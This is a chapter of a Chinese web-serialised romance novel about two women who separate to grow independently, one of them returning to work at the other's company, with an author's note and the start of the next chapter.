背着光,把眼眸都压成深黑。 晏辞微依旧看见她一副笑。 清浅的灰眸里装着一个完整的自己。 “你怎么来了?”安迟叙跑的多快啊。 一阵风牵过晏辞微的发梢, 抱住她的背。 只是两日不见。这个拥抱就太过温暖, 让她发渴。 “不能来吗?”晏辞微缓缓吐出一口气。 安迟叙说不分手。 就真的,没有和她分手。 她们相见就能给彼此一个拥抱。 晏辞微搂住安迟叙的腰, 接过她的行李。 “都没给我说。”安迟叙挽住晏辞微的手, 往她胳膊上贴。 她头黏过去钻了下。晏辞微就知道她没有因此不快。 “不说就不知道我要来?”于是晏辞微也有了点底气。悄悄搂紧些。 她手臂被小猫掐了下。是猜到,又不敢确定。 毕竟是安迟叙自己提的分开。 怕晏辞微因此生气。 “你早说要来,我多带两个箱子。”安迟叙有过收行李的经验了。这次回s市自己收了一堆东西。 她没想到在老家半年她就添置了那么多东西, 真能买。 回s市之后可得省着点。后面还得给姐姐补钻戒呢。 “怪我。”晏辞微这下知道,哪怕心有灵犀,以后也要提前告诉团团她的行踪。 两个人在行李转盘等行李。都觉着挺新鲜的。 晏辞微没有过这样的经验, 安迟叙跟着她,独自坐飞机取行李的时候更少。 等了半个多小时终于把行李等齐了。期间晏辞微去旁边打了通电话。安迟叙趴在推车上看着她。 只是分开两天,她家姐姐的状态就好了不少。 她的选择是正确的。她们只有分开,才能更好的成长。 离别的不舍和痛楚会化作前进的动力。 如果一直腻在一起,只会有惰性依赖越积越深。 以前晏辞微会把行李全都拿完。 这次她推着推车,给安迟叙留了个上机箱。 安迟叙一手挽着她,一手飞着行李,挺欢快的。 晏辞微学得很快,没有愧对她的头脑。 “住哪儿?”上车之后,晏辞微拉上前后排挡板,把她的团团猫抱进怀里。 安迟叙黏了会儿人又嫌腻,推了她两爪子,自己捞着她,不给抱。 闹完才开口。“老地方咯。今年的房租还没用完。” 晏辞微给司机发了地点,哭笑不得。 她慢慢明白安迟叙坚持给她交房租的意义。 却还是觉得没有必要。这钱进她口袋里,她转手也就发给安迟叙当奖金了。中间转了两回,还得多交税。 不过她这辈子也就做这么一次房东。 现在她要送她的房客回家了。 “简历投了吗?”腻歪了一会儿,晏辞微终于开启正题。 她紧张的时候和晏明琼很像。 都习惯先找别的话题进入状态,再提她们不敢直面却太想知道的事。 “投了。下周一就给面试,还挺快。”安迟叙捏着晏辞微的脸,想问她有没有给自己走后门。 话到嘴边,忽然说不出来。 她望见晏辞微眸光泠泠。冬日的冷阳跃进她深渊的眼,好像那诱人坠落的闪光。 情绪一层叠一层,复杂的让安迟叙难以分辨。她试着拆解,看见了晏辞微的担忧、思虑、紧张…… 没有以往替她做决定再帮她直达完成品的从容。 不必多言了。 安迟叙低头,鼻尖碰上晏辞微的鼻尖。 撞得她发酸。晏辞微眨眼感觉眼眶润了一层泪。 而车辆行驶平稳,安迟叙根本没用力。 她闭着眼张口,咬了安迟叙的脸蛋一下。 猫这种生物果然机灵又狡猾。 安迟叙这么试探她。她也知道什么该做,什么不该。 放手吧。她们都对彼此放过手。 她可以不必紧张安迟叙能否通过面试。 这可是她亲手培养的女儿。能跟她一起考入大学,独自完成过项目。 安迟叙已经很厉害了。只是她一直没能看见,假想着小猫的弱小。 安迟叙轻笑一声,捧起她的脸低吻。 她们心里都有答案了。 * * * “不留下来陪我?”安迟叙见晏辞微不进家门,讶然。 晏辞微比她的想象做的更好。 “不陪。”晏辞微在门口,没有进去。 怕迈出一步就会忍不住。先是留下给她收东西,再是点好食材给她做晚饭。 最后帮她奔波一天的小猫洗澡,从此赖在她身边。 她们都见识过惰性依赖的威力。晏辞微不敢托大。 她也终于明白安迟叙那句话。 总有一天她会感觉到了时间,安迟叙可以回来了。 今天显然不是时候。 对上安迟叙圆亮的大眼,晏辞微差点没忍住。 她别过头,干脆捏了安迟叙脸颊一下,掌住门。 “我还在生气。”假装她脾气还没好。 假装她没有同意分开,是安迟叙自顾自要她走。 “那,晚上给我发消息。”安迟叙噗一声笑出来,接过那扇门,彻底关上前给晏辞微留了句话。 晏辞微在她门口站了很久。 她猜安迟叙一定知道。 却没有谁敲门或打开。 久到晏辞微终于呼出一口气,把最后一点独属于安迟叙的天竺葵排空。 她才迈出了一步。 安迟叙不知道。 她回来之前,晏辞微来过这间房一趟。 晏辞微简单打扫了一遍,把之前留给自己的后门都取了。 取一个,心口酸涩一点。好像安迟叙在一点点远离她。 以后就不能悄悄来看她,偷偷窥视她的生活,不通知她的掌握她的一切。 最后在房间最好的储存空间看见了一只密码箱。 晏辞微打开那只密码箱。0409,她的生日。安迟叙的东西没有别的密码。 里面躺着她曾送给安迟叙的那只布娃娃。 好像发霉过。安迟叙努力洗啊洗。把一块发青的地方都搓出了白。 晏辞微静静的抱着那只布娃娃,那天下午在这间房里最后停留到夕阳移位,橘黄的房间变得冷黑。 然后把她自己放回了保险箱。锁好,不留一丝痕迹。 这是她第一次看见自己的娃娃。 没有产生毁灭的欲望。 哪怕那只娃娃已经发霉过。 哪怕以她当时不熟练的技术,娃娃很多地方缝合的很糟糕。一看就知道是初学者的娱乐之作。 哪怕她看它千百遍,千百遍的想,她该重新给她的团团做一只。 晏辞微也没有再动手。 她只是把她自己放回了安迟叙所爱的地方。 这布娃娃和她送给安迟叙的画一样。满是瑕疵,丑陋难看。 可是。 总会有一个人爱着它们。 所以她也不必介怀。把目光移向别的地方,就能发现。 其实它们还是挺好的。 像她那幅画,至少猫画的很可爱。 像这只布娃娃,至少眼睛和痣点的很灵巧。 * * * 一周后安迟叙去了面试。 晏辞微从年底各项会议中抽空,远远看了一眼,没有惊动任何人。 好像她只是在去往会议室的路上去抽了只水果烟。 安迟叙都没能发现她的眼。如今那双眼少了一点红,只剩阴影的黑,想藏匿时没有人可以发现她。 安迟叙看见面试官一半是熟人,挑眉。 “诶我知道你。”其中一个开口。翻着安迟叙的简历,又看看安迟叙的脸。 “你之前是我们人员策划部门的,为什么离职?”另一个冷脸的问的更直白。 “母亲生病了,回老家了一趟。不知道会有多久,所以离职了。”安迟叙早就想好了解释,没把晏辞微扯进来。 况且……也不算说谎嘛。 “那现在回来,能保证一直在这边工作?”原本就是集团员工,几年没被开除,晋升了还带了项目,能力肯定没问题。冷脸面试官只关心这一点。 “刚办完丧事,就回来了。”安迟叙说谎说得沉静。 几个面试官听得不敢再多问。 面试没有进行太久。 当天回家,安迟叙就收到了邮件,说周三去办理入职。 安迟叙看了一眼岗位,这次是节目策划部门,和之前的岗位有细微的不同。 虽说真到分配项目的时候能者优先,能拿到明星这种长期饭票,还是综艺这种油水足的,全靠小组去抢。 但也避免了一点尴尬。安迟叙还怕hr把她分配给她之前带的小组呢。 她听晏辞微说过,慕风何语檐她们带团队带的挺好。她就不要去给她们添乱了。 安迟叙把邮件截图,发给了晏辞微。 【还是在17楼。】晏辞微不论做什么对她都是秒回。 【以前不也这样?】安迟叙给她发去猫猫探头。 【我有空就去找你玩,一起吃饭什么的。没有空就算了,年关将至,应该还挺忙的。】 安迟叙其实还想多玩两天。 日安集团的工作强度可比烁点大多了。 不加班不太可能,安迟叙只能尽可能保证自己的三餐,睡眠。 晏辞微又不说话了,丢给她一个背过去的猫猫头。 安迟叙想了想,给她拍了自己新写的回忆录。 末尾有新画的刺猬小狗,安迟叙特地拿红笔圈了起来,给小狗撒花花。 【干嘛。】好像能听见晏辞微那别扭的冷音。冷却软乎乎的,捧在手里几秒钟就能烤熟。 【哄哄你。】安迟叙还没怎么哄过晏辞微呢。以前晏辞微在她面前没脾气,只有强势的执拗。 【哼】晏辞微没说好不好。 但第二天安迟叙打开手机,看见她头像换成了这只刺猬小狗。 安迟叙想来想去,还是又画了只新的猫。 也给自己换上。这样谁加她们都知道她们俩是一对。 只是分开而已。就好像她们其中一个出差了。 又不是分手。更不是不爱了。 安迟叙无意识转过无名指上的戒指,半晌后低头哂笑。 这一枚戒指带了一个季度。 什么纹路都没有留下。 就连戒指都有的勒痕都很浅。晏辞微最了解她的尺寸。 新买的戒指只有漂亮。 没有束缚的烙印了。 * * * 新的小组长师晚音认识安迟叙。 以前两个组隔着一条走廊,办公室肩并肩的。 她还跟安迟叙打过几次招呼,知道她带着慕风她们团队拿下过《暴风营地》的几期,二话不说就把最近忙不过来的项目分配给她了。 都没给她做入职培训。 安迟叙看着项目开始头大。 晏辞微带她放了一个暑假。她又给自己放了秋假。 空窗期足足半年,安迟叙现在水土不服了。 “师姐。”安迟叙无师自通,随口喊出了师晚音在小组内的昵称。 师晚音脸抽了抽。一旁几个组员笑出声。 她们还跟师晚音赌,说安迟叙今天肯定就会喊她师姐。 师晚音偏要说安迟叙不会,她们俩以前平级,安迟叙顶多叫她名字。 “你是不是太信任我了?”安迟叙真有点苦手。 “你都能拿《暴风营地》的,我还看过第一期了。你水平可以啊,怎么能叫太信任呢?”这叫找人分担重负。 师晚音悄悄在心里想。 “我都半年多没碰了。”师晚音给她的项目是明年的电台主推综艺,文化相关,是上面指名道姓要做好的,意义重大。 项目还是晏辞微直接接洽,任何内容都要给晏辞微过目。 肯定不是让安迟叙一个人做完,但都给她看项目内容了,大概是要她重点出力。 或许是已经有过三年工作经验,这次安迟叙不是从底层员工开始。 进入的小组比唐殊那个大许多,人员水平均值高,组长能力强性格好。接触的项目也甩了以前几条街。 安迟叙因此更过敏。看着项目无从下手。 “这项目也还有几个月啊。慢慢做呗,实在不行把慕风那几个喊过来一起。” 师晚音比安迟叙还淡定,无视了她带上可怜的求饶。 安迟叙哭丧着脸回去研读。 整日整夜的想,上班路上都在找资料。 牵扯到文化领域的节目本就不容易做,晏辞微接下这个节目都算有魄力。 一周后可算有了些许思路。 早上在茶水间倒茶,安迟叙碰到了来兑咖啡的慕风何语檐。 “安迟叙?”慕风一时间没敢认人。 是有将近半年没见了。安迟叙的变化很大,似乎五官都长开了些,肌肤也水润饱满,色泽两眼,比半年前更漂亮。 气质也变了,少了一分怯懦的柔,多了一丝坚定。 从前的安迟叙让人记不住脸。如今的安迟叙却看得见的漂亮。 “安姐?你回来了?什么时候的事?不对,你怎么回来的?那个谁不抓你了?” 何语檐在慕风一声惊讶之后可算看见了安迟叙,冲得飞快,赶到安迟叙面前,上下打量而后看见她手上的戒指。 何语檐一拍脸高呼。“姐你,你是背着我们去结婚了吗?还是跟小,小小……” 她好歹没直接喊出晏辞微的名字。 “还没有呢。”婚服都有了。等晏辞微什么时候回来,她们也终于要结婚了。 无论谁等那本结婚证都很久了。 “那你戴着……”何语檐定睛才看清,安迟叙无名指和中指都有戒指,都是很素的银戒,没镶多少宝石。不像晏辞微的风格。 “占有欲嘛。”安迟叙这么解释,两个人都懂了。 晚点安迟叙得了空,去慕风她们现在的办公室做客。 慕风说《暴风营地》之后她们还谈了两个项目,都是明年年中,这段时间大家都闲,等着领年终奖,收拾东西准备过年。 说完小组近况,两个人才按住准备跑的安迟叙,一定要问出她什么时候回来,怎么就回来了。 “就上周……”安迟叙投降。 “你上周回来不来见我们?”她说一句,何语檐能怼一句。 “我还没适应……” “你都有新项目新组长新组员了,还没适应!” “……”安迟叙不敢开口了。她看向慕风想求助。 慕风竟罕见的不跟何语檐呛声,还顺着她话说。“对啊,一周了还不来找我们。没把我们当朋友?” 安迟叙认栽。“真不是,忙的。我太久没做这方面的活儿,师晚音又给我派了重任,不敢懈怠啊。” 两个人从她这儿薅了几包果干,勉强认下她的说辞。 “你和小……怎么样了?”何语檐最八卦,就喜欢听这种事。 这会儿在办公室又不敢说大声,只能眨眼跟安迟叙示意。 “这次挺好了。”安迟叙垂眸看着戒指,眼里的笑意不作假。 见两个人似有不信,又不得不补充。“她都肯放我回来了。” “有点道理。”最先发现晏辞微和安迟叙感情状况不太寻常的何语檐觉着有道理。 慕风还有点怀疑。她看见了一个影子正在靠近。 这场景还挺似曾相识的,多少次她们聊天正好,晏辞微就带走了安迟叙。 不许任何人和她做朋友,甚至不许任何人跟她说话。 晏辞微的占有欲相当惊人,到了有些恐怖的地步。 慕风后知后觉反应过来时,安迟叙已经消失在集团内部,不见踪影了。 还好人回来了。 慕风对上晏辞微的眼。 没想到晏辞微也在看她。 慕风下意识缩了下脖子,怕自己的心声被晏辞微看穿。 而晏辞微又低头。 阴影罩住她的安迟叙。 “嗯?”安迟叙默默仰头,还没有反应过来。 眨眼看清是晏辞微,一颗颗欢喜的光就这样成型。 好像看见了钻石的形成过程一样。晏辞微忍不住附身,和安迟叙凑的近了点。 用黑发遮住她们的脸。呼吸在发丝形成的帷幕里缭绕、甜香滚烫。 也遮住一个若有若无的吻。 安迟叙眨着眼忍不住抓上晏辞微的衣袖。 吻没能形成实质,干渴扯着安迟叙的喉头发痒。 而衣袖滑落。安迟叙空了手心,下一瞬又触碰到晏辞微的手指。 一只红蝴蝶留在掌心。 安迟叙从仰头的晕厥感缓过来时,晏辞微已经起身了。 “你来一趟。”晏辞微敲过慕风的桌子,旋即要走。 “我?”慕风不敢相信。 以往晏辞微只会费尽心思看安迟叙一眼。 小心翼翼或正大光明,晏辞微都做过。 今天却是为了找自己谈工作? “《暴风营地》的事。”晏辞微不带留恋的离开了。 慕风跟着她出了办公室。留下何语檐感叹。 “她真变了?” “是啊。”安迟叙眼里的笑意快要藏不住了。她干脆闭上眼,捏捏掌心。 其实也没有变太多。 晏辞微还是那个喜欢吃醋,占有欲极强的妈咪。 不断刺痛掌心的红蝴蝶艳丽似血。 安迟叙稍稍睁开眼。 这是只有她看得见的占有欲。 只给她留下的爱。 * * * 红蝴蝶里有一张纸条。 安迟叙回办公室以后找了个大家都在忙的时间,像高中时期上课传纸条一样小心,好像随时会有老师经过,没收她们的悄悄话然后当着全班的面朗读。 安迟叙拆的更小心。动一下手抬起头四周望一眼。她显然不是很有经验,不然该知道这样会更显眼。 好在她已经是25岁的大人了,师晚音看见了也不会不知趣的走过来逮。 安迟叙好不容易把蝴蝶拆完,捂着纸条低头去看。 晏辞微的留言也像高中生一样,笔迹虽成熟了点,但模仿了那时的字体。话语也稚嫩。 【刚刚我妈给我发橘子,想你了,来看看你怎么样,工作还顺利吗?】 好像高中每天第四节课都会问的日常。 晏辞微总喜欢给安迟叙传纸条问她吃什么,安迟叙学了三年也没学会怎么不被发现的传纸条,所幸有晏辞微护着,后来她们也成了同桌。 安迟叙想找一张红色的纸,始终没在办公室翻到,只能拿白纸将就。 白色蝴蝶里装着白色的纸条。白色纸条上写着学生时代的对话。 安迟叙知道待会儿有个高层会议。她跟着师晚音去开,蹲了点,避了人,把蝴蝶塞晏辞微手里。 晏辞微开完会路上迫不及待地打开,看见安迟叙高中生方方正正的小字:【不好说顺利不顺利,给我看橘子。晚饭吃什么呢?】 下午安迟叙回到位置上,看见一沓红卡纸。上面压着一只红蝴蝶。 一回生二回熟,安迟叙拆完看晏辞微的留言:【回家给你发照片。听说晚上食堂有炖排骨和煎饼。新的组员怎么样?】 食堂里,安迟叙把蝴蝶留在自己的餐盘旁。她走后一秒晏辞微出现在她座位上,收走那只蝴蝶。 【师姐人挺好,好像太过信任我,给的担子很重】 临走前,安迟叙在包里发现她的回信: 【好好休息,晚上看不见你,别熬夜,项目做不出来就算了,还有我呢】 安迟叙带着一天的蝴蝶回家,蝴蝶们飞扬在包里一响一响,如雨点。 晏辞微送了她一场蝴蝶雨。夜里安迟叙对着橘子的照片,把玩着几只红蝴蝶,写好明天给晏辞微的话,乖乖在十一点入睡。 接下来几天她们玩的起劲,真把装高中生的游戏进行到底。好像她们是某个时间线上分班后意外分开的小情侣,每个课间都把上课写好的信交给对方,想象自己是异地恋一样幼稚又真诚。 【能不能让食堂出点辣的菜?好馋,再这样要点外卖了】 【我说一??声。不要我给的盒饭?】 【你早起不累吗?我心疼,除非你喊你家厨师代劳(ps,别想蒙混过关,我吃的出来)】 【一般是提前一天准备好,其实用不了太久。我明天有个外勤,不在办公室】 【那你教我,我自己做。去哪里外勤呀,年底了你是不是也忙?】 【其实就是切好,调好味道放进冰箱。就去逐光卫视那边,是忙,好几个项目,我跟你说……】 然后纸条的内容越来越多,越来越长。 从一个话题延展到三个,五个。 终于安迟叙忍不住。 在一个午间敲开了晏辞微的办公室门。 “团团。”晏辞微还想装生气。 看见安迟叙就破了功夫,眉眼柔成秋水,朝她张开双臂。 安迟叙苹果肌漾起细嫩的粉,也没遮掩一个笑,一步比一步快,一下跃起,扑进晏辞微怀里。 晏辞微接住她的小猫炮弹。被砸了下还挺疼的,晏辞微没有松手,抱的更紧,把安迟叙也勒疼了。 “想你了。”安迟叙揪着晏辞微的衣袖挠了下,埋进她的怀里。 呼吸慢慢发出些声音,短短的,真像小猫撒娇。 “想你了。”安迟叙松一口气,抬头捧住晏辞微的脸。 吻下去。 晏辞微还说带她出去吃饭。 被亲上就懵了头。 旋即被按倒,更无法抵抗。 “团,团团……午饭……”晏辞微也不说锁门,也不说工作。 更不说分开。她们说好没有分手,也该这样亲密。 “妈咪喂我。”安迟叙说的喂,自然是…… 她含住晏辞微轻轻吮.吸。 * * * 结果还是要晏辞微喂午饭。 安迟叙赖在晏辞微怀里不走了。 晏辞微把一早准备好的盒饭拿出来,一勺一勺的喂给她家小猫。 安迟叙还踩她呢,拿手掌。吃一口推一下。 也就晏辞微纵着她,安迟叙都不敢想换个人,谁会在被咬了之后还喂这么贪得无厌的女朋友吃饭。 “你下周二有个。咳。会议。”好不容易喂完饭,晏辞微哑着嗓子,拿湿纸巾给安迟叙擦嘴。 安迟叙锃亮一双眼,圆溜溜的盯着她。 眨巴一下,不知道她说这个做什么。 “跟我开。”晏辞微叹息一声。 生活上她已经慢慢掌握了安迟叙现在的节奏。 工作上依旧有些不知道,该怎么面对她。 听见她说不顺利,就想带她换个轻松点的。 发现她真的产出困难,就想给她提供思路。 晏辞微按捺几周了。年都翻过来,看着看着要过春节了。 她想至少在春节之前做好。 她和她的团团太久没一起过年。今年一定要团圆。 “组会。”晏辞微把一句话补充完,指尖抚在安迟叙眉尾,揉开粘连的碎发。 “啊……”安迟叙眼光波动一瞬。 晏辞微以为她也不想,也在怕。 “我会尽可能调整的。”晏辞微手没松。 依旧贴着她的耳发。近乎掌住她的脸,视线游走在她的灰眸里。 好像用眼神与她的眼接吻。 如此缠绵、情深。 晏辞微的掌控欲和占有欲没有随着成长消失。 只是变化成不同的方式。 比如这个叫安迟叙近乎溺毙的眼神。 安迟叙便不敢再眨眼,怕错过一秒,晏辞微就收了这么漂亮的眼。看向别处了。 “不担心你。”安迟叙紧紧抓住晏辞微的眼神。 晏辞微当然不会放手。 凝视许久。 “我相信你,姐姐。”安迟叙终于眨了眼,咧开一个笑,同样揉过晏辞微眼角的狼狈,化出一个实质的吻。 “你现在就很好。很好很好了。”她俯身粘腻的亲着,话语断断续续。 晏辞微拼凑起来听着夸奖,慢慢松了心情。 分离也变得异常难耐。 安迟叙站在办公室门口回头望。 晏辞微没有送她,埋下头已经在工作。 她在假装。在等安迟叙离去。不然她做不下去。 安迟叙也在等。 等待晏辞微的允许。 晏辞微终究没有挽留。 她们只是分开。哪儿需要挽留? 以后无数个日夜,安迟叙从组员一路升到总监。她们都不可能在同一个办公室工作。 现在只是未来的排练。 谁都懂。谁都舍不得。 安迟叙还是收回眼神,略过那紧闭休息室,迈出一步。 办公室门悠悠关上。 吱呀一声,爱人没了影。 晏辞微才敢抬头,久久凝望,流出一分思念。 她还没有做好。怎么敢让安迟叙回来。 * * * 组会如期召开。 师晚音她们小组到底没那么了解安迟叙,更不知道晏辞微的事。 只是听说过晏辞微和安迟叙的八卦,但谁敢编排公司继承人,听了就听了,都当是假。 如今看来,这近一个月了,晏辞微也没对安迟叙有什么特殊照顾。 当初的八卦肯定是谁造的谣。 安迟叙和组员先定了几个初版。 每人负责一版,今天开会是要让晏辞微这个总负责人定哪一版。 或者,哪一版晏辞微都不满意。她要她们全部重做也是有可能的。 师晚音压力有些大,发卡上的花都枯了,没颜色的白。 安迟叙看不得漂亮发饰枯萎,有点心疼,进门前还安慰了师晚音两句。 师晚音以为她是关心自己,还挺感动。 “你不用安慰我。你能把项目搞好就最好了。”她怕的是晏辞微看完几个版本,把她们一个组都批一顿。 又不是没出现过。《暴风营地》被晏辞微接手之后,师晚音经常听见慕风她们组从办公室路过,嘴里在哭晏辞微的痛批。 晏辞微眼光毒辣要求极高。能入她眼的东西太少了。每个策划见她,都免不了一顿骂。 这么一想,师晚音看开了。她希望她手下这几个人能有至少一个逃过一劫。 安迟叙不敢说话了。 她对她手里的东西尤其没有信心。这玩意儿还不如她三年前刚入行交出来的东西。 领域陌生,手更生。 安迟叙看师晚音的反应知道,她们会被晏辞微骂。 安迟叙意外有点期待。 晏辞微怎么可能骂过她,哪儿舍得。 今天会开这个例外吗? 她希望晏辞微能骂她。 推开门,晏辞微已经在会议室里了。 她让所有人都坐下,才收了平板。 远远瞥了一眼,安迟叙知道她是在做决策。 晏辞微想不出来时就喜欢拿着笔写写画画,以前是在她的草稿本上,她们两个人的草稿本不分你我,笔迹融成一团。 现在换成平板,有机会的话,安迟叙也想拿着写一写,说不定就想出来更好的策划方案了。 “晏总,我们准备了五个方案。让她们依次讲?” “就顺时针顺序吧。”晏辞微听见这个“五”,眉头挑了下。 而后靠在椅子上一身疏懒,呼吸微沉。不知道的还以为她要准备午休。 安迟叙知道,她是进入思考心流,听的认真。 看来这个项目真的很重要。 安迟叙又看了眼自己的东西,心里咂嘴。 安迟叙排在第三位。 前两个组员讲的内容可圈可点,但显然不让晏辞微满意。 她表情没有变化,姿势随便换着,却没有透露出情绪。 只有安迟叙看得出她一双眼更深了,漆黑如乌云,散不开,拧着她的情绪。 安迟叙终于上台了。 对上晏辞微的眼,意外有些紧张。 紧张也紧张的像三年前刚入行的新人。 那会儿刚离开晏辞微,所有事都堆在一起,压在安迟叙身上。安迟叙什么都不会,第一次被唐殊要求上台展示,差点哭了。 晏辞微的眸光浅了点,韵起一个不成形的笑。 零零散散的更温和,她在用只有两个人能看懂的方式安慰安迟叙。 安迟叙额角滑过一粒汗,更紧张了些。 开口讲了两句,看见晏辞微终于有了神情变化,桃花眼稍眯,微妙的不满里带了点不易察觉的疑惑,反而放松下来。 越讲越顺,安迟叙说几句停了一下。 她好像有一些修改的想法了。 “……以上是我起稿的内容。”安迟叙讲完反而畅快了,额角的汗终于滴落在地。 安迟叙听见晏辞微动作的声音,心跳骤落。 晏辞微只是如常在平板上记录了几条。晏辞微向来不用秘书或者助理。所有的事都喜欢亲手整理。 不知道她记了什么。 安迟叙下台回到自己的位置,眼忍不住往晏辞微那里瞥。 “小心点,别招惹她。”师晚音小声提醒了一句,拍拍安迟叙的手臂。 安迟叙赶紧低头。 视线就这样错开。 晏辞微看见安迟叙发红的耳根,目光终于流露柔和。 五个人讲完。 晏辞微暂时没有说话。 空气慢慢凝结,谁都能感觉到那股近乎窒息的不适越来越重。 半晌,晏辞微翻完记的东西,叹息一声。 打碎凝滞,对众人下了死刑。 “我应该说过,不用赶工。师晚音,你们现在联系我开这个组会,是对这次的产出很满意吗?”晏辞微要开始骂人了。 安迟叙心跳慢慢加速。她真没被晏辞微骂过,也不知道晏辞微会怎么说她,情绪有些高昂,思路也通畅了,听一句脑子里一个想法,天马行空的,好像做白日梦一样。 “先说第一个。文化宣传最重要的点都能搞丢。你认真查过资料吗?不会只是百度了一下,就把简介上的抄下来……”晏辞微真挨个批评起来。 她的话向来一针见血,批评也不多说。问题说完就到下一个。 第二个多讲了几句,看起来是问题尤其多。节目内容冗杂,没有重点…… 安迟叙听得好紧张。 多奇怪。她都演讲完了。按理说是学生时代的八百米跑完。 最累的部分已经结束,这会儿应该是她和晏辞微靠在一起摔地上,腿纠缠不清的,喝对方水杯里的水,听体育老师恨铁不成钢。 安迟叙对上晏辞微的眼。 那一眼冷得安迟叙发抖。她好像有点不认识这样的晏辞微。 晏辞微向来对她温柔,怎么会用这么冷的眼神看着她。 一个激灵之后安迟叙想明白。晏辞微看谁都是这样的眼神。 现在晏辞微不在她旁边陪她跑八百,而是她的上司。 她的上司要批她的内容了。 “我有些失望。”晏辞微第一句话稍微留了情面。 刚刚那个人她是直接骂写的烂。 但这么一句也叫安迟叙垂下头,不敢对上晏辞微的眼。 她知道她写的多烂。 被晏辞微这么说出来,好像遮羞布都没了。 她糊弄了师晚音,糊弄了组员。 唯独糊弄不了晏辞微。 其实也糊弄不了她自己。 “你上一份作品,是《暴风营地》第一期。你向来抓得好节目流程,会分配详略。更不用说升华的内核。今天这份稿子,这三点我一个都没看出来。” 晏辞微尽可能温柔了。 然她到底是该用批评下属的姿态,到底没有多柔和。 安迟叙死死低着头,应该也是被她说难受了吧。 晏辞微跟着心情也不好。 可她还是想说。 安迟叙不是说想在事业上闯出一片天吗? 不是说想独立取得成就吗? 安迟叙还有梦想。想带着娱乐圈改天换地,想改变人人都要人设的现状,想和她一起推进重内容轻营销的台本。 那就拿出真正的实力来啊。 不要把这种东西,当作自己的全力。 “能看出来你查了很多资料。但没有和节目融合。”晏辞微语速慢了些。 她真想安迟叙听进去。真想安迟叙好。 揪完安迟叙的问题,晏辞微转到下一个员工了。 安迟叙还迟迟换不上气。 下一个员工都快点评完,安迟叙才终于抬头。 呼出一口气。 看向晏辞微。 目光不经意碰在一起。安迟叙不知道从开口,晏辞微就一直在注意她。 怕她伤心失落,怕她接受不了批评。 她的团团是被她宠着养大的。高中时期老师的批评都能被她拦下。又向来聪明。何时受过这种苦。 晏辞微已经有些后悔了。也许她应该私下好好跟安迟叙说。 也许她真的该网开一面。她和安迟叙本就是伴侣,她就是应该对安迟叙不一样。 可安迟叙给了她一个笑。 满足的像得到糖果的小孩。 安迟叙在鼓励她。 给出这份批评。 * * * 开完组会就要去吃午饭了。 安迟叙跟师晚音她们走了一段路。 一个组的人都死气沉沉的,和安迟叙不一样,剩下几个组员真的尽力了,对这个项目就是没什么想法。 安迟叙笑都不敢笑,只能陪她们低着头,借口要去厕所,逃离了小组。 来到25楼。 晏辞微的办公室没有锁门。一定是在等她。 她轻轻推开,门比以往重。 才看见晏辞微压在门上,背靠着。 “啊,团团……”她背心被戳了一下,才感觉到安迟叙来,起身给安迟叙开门。 “没有生气吧?”急急忙忙迎接她,抱住她。 抚摸她的头,想找到哪怕一滴的眼泪。 被藏起来的,显眼的。 晏辞微不会错过安迟叙的泪,可当真一滴都没找到。 “没有啊。”安迟叙挤出一个灿烂的、盛大的笑。 像春日最绚丽的花朵开在灰败的冬。 “我不生气。”她搂住晏辞微的脖颈,整个人贴上去。 “真的,姐姐。我……我很高兴。”黏上晏辞微的脸颊,安迟叙才有了泪。 唰一下止不住,一层一层的往晏辞微脸上黏。 把晏辞微也弄得不知所措,跟着她一起掉酸楚。 两个人哭作一团。安迟叙却一边哭得不成模样,一边咬着晏辞微的脸和她亲吻。 直到晏辞微被吻得吸不上气。 安迟叙才搂着她去沙发上休息。 肩膀贴着肩膀,手臂缠着手臂。 两个人粘在一起,好像高中的体育课。就这样望着天花板也像望着c城始终的厚云。 安迟叙先笑出一声。 “你好奇怪。”晏辞微真没忍住,戳了安迟叙一下。 还有谁会被骂了还笑着吻她? “之前批评你那次,没看你高兴。”晏辞微说的事安迟叙没有印象。 她抱着晏辞微蹭了会儿才想起来,大概是今年春天给她项目的事。 “不一样。”安迟叙使劲去拱晏辞微的脖颈。 热情的好像晏辞微是她的春.药。 “那会儿你是想阻碍我。想捧杀我。可是今天,你真的把我当作员工,当作一起努力的伴侣。你是想要我好。”安迟叙看晏辞微才会这么精准。 真把晏辞微想的一切都挑了出来。 “我很喜欢……我很需要你及时的批评,指正。”说喜欢确实太奇怪了。 安迟叙想,她可不是那种被批评了就嬉皮笑脸的抖爱慕。 嗯……也许她真是。 至少不是在工作方面。 “这样啊……”晏辞微被安迟叙又啄了个懵,思绪慢慢转起来。 好像拨云见日。 清晰了不少。 原来这才是职场上和安迟叙相处的方式。 原来真就这么简单。 晏辞微慢慢抿起柔和的笑。 眼里装着安迟叙最熟悉的蜜意深情。 安迟叙知道她明悟了,撑起身子低下头。 吻上她的唇。 …… 吻到两个人滚下了地。吻到她们拉上窗帘,锁好门。 吻到彼此的氧气彻底成为对方的一部分。 她们终于歇下来。 安迟叙拿着准备好的饭盒,一点一点给她脱力的姐姐喂。 晏辞微没有抵抗。温顺的张开嘴。 眼里不再有任何不适。 被她的宝贝照顾,并没有什么不好。 晏辞微甚至有些喜欢这份依偎的感觉。 果然人都是有惰性的,喜欢被人照顾被人管。 她知道安迟叙照顾她,是因为爱。 “需要我帮忙吗?今天那份企划,不是你的正常水平吧?”吃完饭,晏辞微恢复了些力气,才好抱着安迟叙问。 她问也问的温吞,这方面依旧没有经验。 安迟叙就教她。 “半年没让我做项目,哪儿可能一下子给你个完美的。不过,我已经有思路了。” “把你的平板借给我用一下吧?”安迟叙双眼弯成线,甜成蜜月的花。 只朝晏辞微讨要一件工具。 好像十年前的一个冬天。她找晏辞微借草稿本。 她不要晏辞微给她答案,不要晏辞微帮她做完。 只要一个草稿本,就够了。 晏辞微对上安迟叙的笑,心脏微缩,一阵恍惚。 以前晏辞微最懂安迟叙。看她一个眨眼都知道她想做什么。 现在屡次被她弄得措手不及,不知所措。 却,依旧爱着她。 还觉得新鲜呢,好像她的团团一天比一天更神秘,翘着小猫尾巴,留一道道爪印,等着她寻找,不给提示,坐在高处看她乱转,再跳上她的背轻轻踩她。 安迟叙永远会是她的小猫。她的女儿。她的爱人。 看不懂,那就再做些研究。 安迟叙是晏辞微的必修课。 而晏辞微的成绩单上没有A+之外的分数—— 作者有话说:嗯……我们小团还挺爱慕的[闭嘴]姐姐的打骂都当糖吃 就是刺猬比起传统埃斯,更像引导型的d.o.m 第79章 第 79 章 有、瘾 一月下旬, 安迟叙拿着修改好的版本上楼。 距离师晚音定的第二次组会还有一天,安迟叙想先给晏辞微看一眼。 她自己对着一个内容看久了,很难看出问题。这方面还是晏辞微更专业。 